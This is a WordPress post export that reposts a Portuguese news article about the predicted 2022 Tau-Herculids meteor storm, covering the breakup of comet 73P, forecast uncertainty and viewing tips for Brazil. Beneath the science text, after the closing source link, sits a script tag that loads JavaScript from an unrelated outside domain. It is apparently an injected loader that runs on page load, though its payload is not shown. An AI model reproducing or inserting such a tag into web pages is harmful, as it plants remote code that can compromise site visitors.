{"id":1295,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/milhares-de-meteoros-astronomos-preveem-tempestade-epica-na-proxima-semana-27-05-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"milhares-de-meteoros-astronomos-preveem-tempestade-epica-na-proxima-semana-27-05-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/milhares-de-meteoros-astronomos-preveem-tempestade-epica-na-proxima-semana-27-05-2022\/","title":{"rendered":"Milhares de meteoros: astr\u00f4nomos preveem tempestade \u00e9pica na pr\u00f3xima semana &#8211; 27\/05\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Astr\u00f4nomos preveem h\u00e1 anos uma &#8220;tempestade&#8221; a partir da chuva de meteoros Tau-Herculids. O fen\u00f4meno raro e t\u00e3o aguardado pode acontecer na semana que vem, com possibilidade de milhares de &#8220;estrelas cadentes&#8221; por hora, se as proje\u00e7\u00f5es dos pesquisadores se confirmarem.<\/p>\n<p>Caso tudo d\u00ea certo, os meteoros devem atingir nossa atmosfera a uma velocidade de 16km\/s, considerada baixa. Assim, os riscos luminosos podem fazer um percurso lento e longo, ficando no c\u00e9u mais tempo.<\/p>\n<p>O pico da poss\u00edvel tempestade est\u00e1 previsto para ocorrer entre segunda e ter\u00e7a-feira (30 e 31 de maio). O fen\u00f4meno ser\u00e1 melhor observado do hemisf\u00e9rio Norte, mas n\u00e3o est\u00e1 descartada a possibilidade dele gerar um belo espet\u00e1culo em c\u00e9us brasileiros.<\/p>\n<p>A Tau-Herculids \u00e9 formada por detritos do cometa 73P\/Schwassmann-Wachmann 3 (SW3), que est\u00e1 se despeda\u00e7ando. Todos os anos nesta \u00e9poca, entre o final de maio e o in\u00edcio de junho, a Terra cruza a trilha de poeira e pequenas rochas que ele deixou para tr\u00e1s em passagens anteriores.<\/p>\n<p>Normalmente, essa chuva \u00e9 mais discreta, com dois ou tr\u00eas meteoros por hora. &#8220;Houve atividade mais intensa dela em 1930, quando foi vista pela primeira vez. Depois, ficou fraqu\u00edssima&#8221;, diz o astr\u00f4nomo amador <span><span>Lauriston<\/span><\/span> Trindade, membro da <span><span>Bramon<\/span><\/span> (Rede Brasileira de Monitoramento de Meteoros).<\/p>\n<h2>Tempestade ou chuva?<\/h2>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-12 col-md-13 col-lg-11  crop-450x1 limit-crop  figure\" style=\"max-width:450px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:450px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/ed\/2022\/05\/26\/leonids-1833-1653584031915_v2_450x1.png\" class=\"pinit-img\" alt=\"leonidas 1833 - Reprodu\u00e7\u00e3o - Reprodu\u00e7\u00e3o\" width=\"450\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: %\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Gravura retrata a como\u00e7\u00e3o causada pela tempestade de meteoros Leonids, em 1833<\/p>\n<p> <span>Imagem: Reprodu\u00e7\u00e3o<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Faz quase 200 anos que n\u00e3o presenciamos um fen\u00f4meno desse tipo e intensidade. O \u00faltimo aconteceu em 1833, na chuva Leonids \u2014que gerou p\u00e2nico nos Estados Unidos (imagine, naquela \u00e9poca, acordar de madrugada com milhares de luzes riscando o c\u00e9u; seria o fim do mundo?).<\/p>\n<p>&#8220;Tempestade&#8221; \u00e9 o termo para uma chuva de meteoros que apresenta um surto incomum, extremamente intenso. Elas surgem, geralmente, ap\u00f3s uma fragmenta\u00e7\u00e3o de seu asteroide ou cometa &#8220;pai&#8221; \u2014processo que deixa uma densa nuvem de part\u00edculas ejetadas no espa\u00e7o.<\/p>\n<p>&#8220;Com o tempo, essa nuvem se dispersa na \u00f3rbita do corpo parental, formando as chuvas de meteoros anuais. Ent\u00e3o, quanto mais recente for a fragmenta\u00e7\u00e3o, mais densa ser\u00e1 a nuvem, e mais intensa ser\u00e1 a tempestade de meteoros gerada por ela&#8221;, explica a Bramon.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x1 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/68\/2022\/05\/26\/cometa-73p-1653582885880_v2_750x1.jpg\" class=\"pinit-img\" alt=\"cometa 73p - Michael Jaeger - Michael Jaeger\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;750x1&quot;,&quot;md&quot;:&quot;750x1&quot;,&quot;lg&quot;:&quot;750x1&quot;}\" width=\"750\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.13333333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Dois n\u00facleos do cometa 73P com caudas, registrado por telesc\u00f3pio em uma passagem pela Terra<\/p>\n<p> <span>Imagem: Michael Jaeger<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>Destrui\u00e7\u00e3o de um cometa<\/h2>\n<p>O cometa SW3 foi descoberto em 1930, pelos observadores alem\u00e3es Arnold Schwassmann e Arno Arthur Wachmann. Calculou-se que ele tinha um n\u00facleo de aproximadamente 1,5km de di\u00e2metro \u2014 relativamente pequeno \u2014, e orbitava o Sol a cada 5,4 anos.<\/p>\n<p>Mas desapareceu dos nossos c\u00e9us por d\u00e9cadas, voltando a ser visto apenas em 1979, com uma apar\u00eancia normal.<\/p>\n<p>Em 1995, por\u00e9m, seu brilho teve um aumento s\u00fabito: ele estava cerca de 600 vezes mais brilhante, se tornando vis\u00edvel at\u00e9 a olho nu. At\u00e9 ent\u00e3o, era apenas uma manchinha em telesc\u00f3pios.<\/p>\n<p>&#8220;Um m\u00eas depois, astr\u00f4nomos descobriram que o n\u00facleo havia se partido em alguns grandes blocos durante a viagem. As observa\u00e7\u00f5es indicavam ao menos quatro grandes fragmentos, sendo que dois deles estavam em franco processo de desintegra\u00e7\u00e3o&#8221;, lembra Trindade.<\/p>\n<p>Em 2006, ao ser aquecido em seu retorno para o interior do Sistema Solar, a situa\u00e7\u00e3o piorou: em mar\u00e7o, j\u00e1 eram oito fragmentos; em abril, dezenas; em maio, quase 70, ao longo de uma imensa trilha.<\/p>\n<p>Os maiores deles continuam em \u00f3rbita, agindo como um n\u00facleo m\u00faltiplo. Eventualmente, o cometa pode se desintegrar completamente e deixar de ser observ\u00e1vel.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x1 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/31\/2022\/05\/26\/cometa-73p-1653582014184_v2_750x1.jpg\" class=\"pinit-img\" alt=\"cometa 73p - Nasa - Nasa\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;750x1&quot;,&quot;md&quot;:&quot;750x1&quot;,&quot;lg&quot;:&quot;750x1&quot;}\" width=\"750\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.13333333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Imagem infravermelha mostra o cometa 73P despeda\u00e7ado; pelos menos 36 fragmentos podem ser vistos em uma trilha <\/p>\n<p> <span>Imagem: Nasa<\/span><\/figcaption><\/figure>\n<\/div>\n<p>&#8220;As rupturas geraram fragmentos de diversos tamanhos; uma imensa quantidade de poeira foi lan\u00e7ada ao espa\u00e7o. C\u00e1lculos aprontam que na noite de 30 para 31 de maio, a Terra vai cruzar verticalmente uma densa regi\u00e3o de detritos&#8221;, acredita a Bramon.<\/p>\n<p>Quando essas pequenas rochas atingem a atmosfera terrestre em alta velocidade, s\u00e3o literalmente queimadas e vaporizadas pelo atrito, gerando o fen\u00f4meno luminoso chamado de meteoro (as populares &#8220;estrelas cadentes&#8221;).<\/p>\n<h2>Incertezas sobre o fen\u00f4meno<\/h2>\n<p>Desde a fragmenta\u00e7\u00e3o de 1995, astr\u00f4nomos realizam c\u00e1lculos para prever esta tempestade. &#8220;A grande dificuldade para a previs\u00e3o de datas e taxas de meteoros \u00e9 justamente saber qual foi a velocidade de eje\u00e7\u00e3o das part\u00edculas durante a quebra dos grandes blocos&#8221;, explica Trindade.<\/p>\n<p>Estudos indicam que, neste ano, a Terra atravessar\u00e1 a nuvem de detritos deixados pelo cometa 73P em cinco passagens anteriores: 1892, 1930, 1941, 1979 e 1995 (quando houve a ruptura).<\/p>\n<p>&#8220;Todas as expectativas apontam que ser\u00e1 uma atividade bem elevada. Mas sabemos que h\u00e1 chances que os c\u00e1lculos falhem, porque \u00e9 algo in\u00e9dito e n\u00e3o temos dados suficientes&#8221;, completa.<\/p>\n<p>O espet\u00e1culo ainda n\u00e3o \u00e9 garantido. De acordo com a Nasa, ser\u00e1 um momento &#8220;tudo ou nada&#8221;: se, durante a quebra do cometa, as part\u00edculas foram ejetadas do n\u00facleo a uma velocidade de pelo menos 354 km\/h, teremos uma bel\u00edssima tempestade. Caso contr\u00e1rio, elas n\u00e3o atingir\u00e3o nossa atmosfera \u2014ou seja, n\u00e3o veremos meteoros.<\/p>\n<p>&#8220;N\u00e3o \u00e9 poss\u00edvel predizer com precis\u00e3o. Pode ser que nada aconte\u00e7a, pode ser que seja uma chuva fraca, intensa, e at\u00e9 mesmo uma tempestade de meteoros, um espet\u00e1culo raro e inspirador&#8221;, diz Marcelo de Cicco, astr\u00f4nomo coordenador da Exoss, projeto colaborativo de pesquisas de meteoros.<\/p>\n<h2>Como observar<\/h2>\n<p>Apesar do nome, o radiante (ponto onde os meteoros aparentam convergir) da Tau-Herculids \u00e9 a constela\u00e7\u00e3o do Boieiro, conhecida pelas estrelas brilhantes Arcturus e Vega.<\/p>\n<p>Basta encontr\u00e1-la, na dire\u00e7\u00e3o noroeste e observar atentamente ao seu redor. Uma b\u00fassola ou um <a href=\"https:\/\/www.uol.com.br\/tilt\/app\/ \">app<\/a> de astronomia (como Stellarium, Star Walk, Star Chart, Sky Safari e SkyView) podem ajudar.<\/p>\n<p>Os melhores locais do planeta para acompanhar o fen\u00f4meno s\u00e3o M\u00e9xico e Estados Unidos. A m\u00e1 not\u00edcia para n\u00f3s \u00e9 que, aqui no hemisf\u00e9rio Sul, o radiante estar\u00e1 muito perto do horizonte, dificultando um pouco a observa\u00e7\u00e3o. No Brasil, poderemos ver entre 10% e 50% dos meteoros \u2014quanto mais ao Norte do pa\u00eds, mais chances.<\/p>\n<p>&#8220;Parece pouco, mas caso se confirmem os melhores cen\u00e1rios, isso pode significar dezenas de milhares de meteoros por hora, o que seria espetacular&#8221;, destaca Trindade. A boa not\u00edcia \u00e9 que a Lua na fase nova, sem brilho, deixar\u00e1 o c\u00e9u mais escuro. Assim, mesmo os meteoros menos intensos poder\u00e3o ser observados.<\/p>\n<p>As recomenda\u00e7\u00f5es s\u00e3o as mesmas de todas as chuvas: procurar um lugar com menos polui\u00e7\u00e3o luminosa, com bom campo de vis\u00e3o, ficar confort\u00e1vel e esperar, olhando para toda a \u00e1rea em torno do radiante. O fen\u00f4meno \u00e9 vis\u00edvel a olho nu, sem necessidade de qualquer equipamento especial.<\/p>\n<p>De acordo com a Bramon, devem ocorrer pelo menos tr\u00eas surtos da Tau-Herculds:<\/p>\n<ul>\n<li>31 de maio, \u00e0s 0h10 (hor\u00e1rio de Bras\u00edlia): a Terra atravessar\u00e1 as trilhas de detritos deixadas pelo cometa em 1892 e 1941. S\u00e3o esperados at\u00e9 50 meteoros por hora.<\/li>\n<li>31 de maio, \u00e0s 2h10: a Terra atingir\u00e1 a trilha de 1979 e tamb\u00e9m a densa nuvem lan\u00e7ada pela ruptura de 1995. Como \u00e9 a primeira vez na hist\u00f3ria que interagimos com essas part\u00edculas, o hor\u00e1rio pode variar (e at\u00e9 n\u00e3o ocorrer). A modelagem b\u00e1sica indica uma taxa de 600 a 700 meteoros por hora. &#8220;Entretanto, considerando que em 1995 o cometa se partiu em v\u00e1rios peda\u00e7os, a intensidade deste surto pode atingir at\u00e9 10 mil, ou talvez, 100 mil meteoros por hora durante a m\u00e1xima&#8221;, acredita a Bramon, otimista.<\/li>\n<li>25 de junho, \u00e0s 23h58: a Terra encontrar\u00e1 a trilha deixada na passagem de 1930. A intensidade ser\u00e1 bem menor, com cerca de tr\u00eas meteoros por hora.<\/li>\n<\/ul>\n<p>Os surtos s\u00e3o imprevis\u00edveis e com vida curta, \u00e9 bom ficar atento. &#8220;Por conta de uma certa indefini\u00e7\u00e3o da posi\u00e7\u00e3o orbital dos outros peda\u00e7os do cometa SW3, recomendamos que sejam feitas observa\u00e7\u00f5es no per\u00edodo de 28 de maio a 1\u00ba de junho, sempre de madrugada, com possibilidades de assistirmos ainda muitos meteoros vindo da dire\u00e7\u00e3o Noroeste, pr\u00f3ximos ao radiante&#8221;, ressalta de Cicco.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/05\/27\/milhares-meteoros-tempestade-epica-pode-ser-vista-do-brasil-na-segunda.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Astr\u00f4nomos preveem h\u00e1 anos uma &#8220;tempestade&#8221; a partir da chuva de meteoros Tau-Herculids. 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